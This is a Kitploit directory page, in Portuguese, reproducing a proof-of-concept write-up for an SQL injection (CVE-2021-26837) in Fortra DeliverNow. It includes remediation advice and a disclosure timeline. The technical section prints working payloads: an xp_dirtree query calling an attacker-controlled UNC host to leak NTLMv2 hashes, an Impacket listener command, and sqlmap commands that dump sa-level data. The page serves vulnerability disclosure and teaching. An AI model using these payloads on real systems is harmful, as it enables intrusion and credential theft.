Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2021-26837 — CVE-2021-26837 - Injeção de SQL no parâmetro SearchTextbox do HelpSystems/Fortra DeliverNow. Payloads, requisições anotadas e evidências. Corrigido na versão 1.2.18. | Kitploit
Ferramentas/GitHubGitHub/l0lsec/cve-2021-26837
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebExfiltração de DadosTestes de Penetração
GitHubl0lsec/cve-2021-26837

CVE-2021-26837

CVE-2021-26837 - Injeção de SQL no parâmetro SearchTextbox do HelpSystems/Fortra DeliverNow. Payloads, requisições anotadas e evidências. Corrigido na versão 1.2.18.

Ver Repositório
há 26 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Site

CVE-2021-26837

Injeção de SQL no HelpSystems / Fortra DeliverNow

O parâmetro SearchTextbox na página de pesquisa de logs do DeliverNow (/LogGrid.aspx) é concatenado diretamente em uma consulta do SQL Server, sem parametrização e sem validação no servidor. O aplicativo também exibia os erros de análise do SQL Server resultantes de volta ao usuário, e foi assim que o bug se manifestou em primeiro lugar.

A conexão com o banco de dados era executada como sa, portanto a injeção herdou direitos totais de sysadmin na instância. Isso foi suficiente para chamar master.dbo.xp_dirtree contra um caminho UNC controlado pelo atacante e forçar a conta de serviço do SQL Server a se autenticar de saída (outbound).

Encontrado durante um teste de penetração interno. Corrigido pelo fornecedor no DeliverNow 1.2.18 e publicado como CVE-2021-26837.

Descoberto e reportado por Sedric Louissaint da Show Up Show Out Security.


Resumo

CVECVE-2021-26837
ProdutoDeliverNow (HelpSystems, agora Fortra)
Afetadoanterior à 1.2.18 (o advisory original listava 1.2.18 e versões anteriores)
FraquezaCWE-89: Injeção de SQL
CVSS 3.1 (NVD)9.8 Crítica CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS 2 (pesquisador)9.0 AV:N/AC:L/Au:N/C:C/I:P/A:P
Publicado2023-09-19
Testado emWindows Server 2019 Datacenter 10.0 (x64), SQL Server 2017 (RTM-CU20) 14.0.3294.2 (x64)

Descrição do NVD:

Vulnerabilidade de injeção de SQL no parâmetro SearchTextBox no Fortra (anteriormente HelpSystems) DeliverNow antes da versão 1.2.18, permite que atacantes executem código arbitrário, elevem privilégios e obtenham informações sensíveis.

Detalhe técnico

Ponto de injeção

POST /LogGrid.aspx, parâmetro do corpo SearchTextbox. O formulário é o controle de pesquisa na visão Log do aplicativo. ddlFieldName seleciona a coluna a ser pesquisada (Description nas solicitações abaixo) e SearchTextbox transporta o termo.

Uma aspa simples é suficiente para comprovar:

root@kitploit:~
blah'

A resposta exibe o erro de análise do SQL Server diretamente na página:

root@kitploit:~
Info: Unclosed quotation mark after the character string ''. Incorrect syntax near ''.

Pesquisa de log retornando erro de aspas sem fechamento

Essa divulgação de erro é uma descoberta por si só. Ela converte o que seria uma injeção cega em uma totalmente interativa.

Confirmação fora de banda via xp_dirtree

Como a conexão é executada como sa, master.dbo.xp_dirtree é acessível. Apontá-lo para um caminho UNC em um host que você controla faz a conta de serviço do SQL Server autenticar-se de saída (outbound) nesse host via SMB:

root@kitploit:~
123';declare @q varchar(99);set @q='\\ATTACKER_IP'+'\fro'; exec master.dbo.xp_dirtree @q;--

O payload na caixa de pesquisa

Solicitação completa em poc/exploited-request.http, payloads em poc/payloads.sql.

A solicitação HTTP explorada

Autenticação capturada

Com o smbserver.py do Impacket escutando, a conta de serviço do SQL Server do alvo se autentica e vaza um hash NTLMv2:

root@kitploit:~
[*] Incoming connection (10.1.103.109,49488)
[*] AUTHENTICATE_MESSAGE (\SQLServices,SCS-FTEREPORTS)
[*] User SCS-FTEREPORTS\SQLServices authenticated successfully
[*] SQLServices::...:aaaaaaaaaaaaaaaa:e1571710b57de81bc1668fdc92ff1f2a:...

Autenticação forçada capturada com o Impacket

O hash fica então disponível para quebra offline ou para relay NTLM para outro host.

Contexto de privilégio

O sqlmap confirma a injeção e o nível de privilégio:

root@kitploit:~
back-end DBMS: Microsoft SQL Server 2017
[INFO] fetching current user
[INFO] retrieved: sa
current user: 'sa'
[INFO] fetching current database
[INFO] retrieved: RJSReportDelivery
current database: 'RJSReportDelivery'
[INFO] fetching database users password hashes
[INFO] retrieved: 21

Enumeração do sqlmap mostrando o usuário atual sa

sa significa que todos os hashes de login da instância são legíveis, e xp_cmdshell está a uma chamada sp_configure da execução de comandos no host.

Reprodução

Contra uma instância de laboratório que você possua ou esteja autorizado a testar:

  1. Acesse a interface web do DeliverNow (padrão http://<host>:1080/) e abra Log.
  2. Digite blah' na caixa de pesquisa e envie. Uma compilação vulnerável exibe o erro de análise do SQL Server na página.
  3. Inicie um listener em um host que o alvo consiga alcançar:
    root@kitploit:~
    sudo smbserver.py c . -smb2support
    
  4. Envie o payload xp_dirtree de poc/payloads.sql com seu próprio IP substituído. Uma compilação vulnerável produz uma autenticação SMB de entrada da conta de serviço do SQL Server.
  5. Opcionalmente, confirme com o sqlmap usando a solicitação salva:
    root@kitploit:~
    sqlmap -r poc/exploited-request.http -p SearchTextbox --batch --current-user --current-db
    

Conteúdo do repositório

root@kitploit:~
poc/
  payloads.sql            Detection and out-of-band payloads for SearchTextbox
  exploited-request.http  The full POST request, ready for sqlmap -r
  sqlmap.md               sqlmap invocations and expected output
media/
  01-sql-error-in-log-search.png
  02-xp-dirtree-payload-in-searchtextbox.png
  03-forced-auth-captured-impacket.png
  04-sqlmap-sa-enumeration.png
  05-exploited-http-request.png

Hosts e hashes nas capturas são do engajamento original e estão desatualizados. Substitua o endereço do seu próprio listener ao reproduzir.

Remediação

  1. Use consultas parametrizadas / prepared statements para toda consulta construída a partir de entrada do usuário. Esta é a correção real. Todo o resto é defesa em profundidade.
  2. Valide e sanitize no lado do servidor. O corpo do POST é totalmente controlado pelo atacante, independentemente do que o formulário no lado do cliente permite.
  3. Pare de conectar como sa. O aplicativo precisa de acesso de leitura e gravação às suas próprias tabelas. Ele não precisa de sysadmin e não precisa de xp_dirtree. O privilégio mínimo não teria impedido a injeção, mas a teria contido.
  4. Não exiba erros do banco de dados para os usuários. Registre-os no lado do servidor e retorne uma mensagem genérica.
  5. Restrinja o SMB de saída dos servidores de banco de dados no limite da rede, o que remove o canal fora de banda usado aqui.

Corrigido pelo fornecedor no DeliverNow 1.2.18. Atualize.

Linha do tempo

DataEvento
2021Encontrado durante um teste de penetração interno e reportado à HelpSystems
2021Corrigido no DeliverNow 1.2.18
2023-09-19CVE-2021-26837 publicado no NVD, com pontuação 9.8 Crítica

Artigos

  • Conta pessoal: https://sedriclouissaint.com/blog/delivernow-sql-injection-cve-2021-26837/
  • Show Up Show Out Security: https://susos.co/blog/sqlnow-sql-injection-in-delivernow-cve-2021-26837

Aviso legal

Publicado após a correção pelo fornecedor, para uso defensivo e educacional. Os payloads aqui visam uma versão corrigida há anos. Não os execute contra sistemas que você não possua ou para os quais não tenha autorização escrita para testar.

Baixar ferramenta